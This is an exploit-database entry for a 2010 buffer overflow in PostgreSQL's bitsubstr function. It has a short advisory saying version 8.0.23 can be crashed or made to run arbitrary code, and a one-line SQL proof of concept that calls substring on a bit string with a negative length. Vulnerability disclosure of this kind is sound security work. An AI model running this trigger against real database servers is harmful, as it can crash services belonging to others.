PostgreSQL – ‘bitsubstr’ Buffer Overflow

  • 作者: Intevydis
    日期: 2010-01-27
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/33571/
  • source: https://www.securityfocus.com/bid/37973/info
    
    PostgreSQL is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.
    
    Attackers can exploit this issue to execute arbitrary code with elevated privileges or crash the affected application.
    
    PostgreSQL 8.0.23 is vulnerable; other versions may also be affected.
    
    
    testdb=# select substring(B'101010101010101010101010101010101010
    10101010101',33,-15);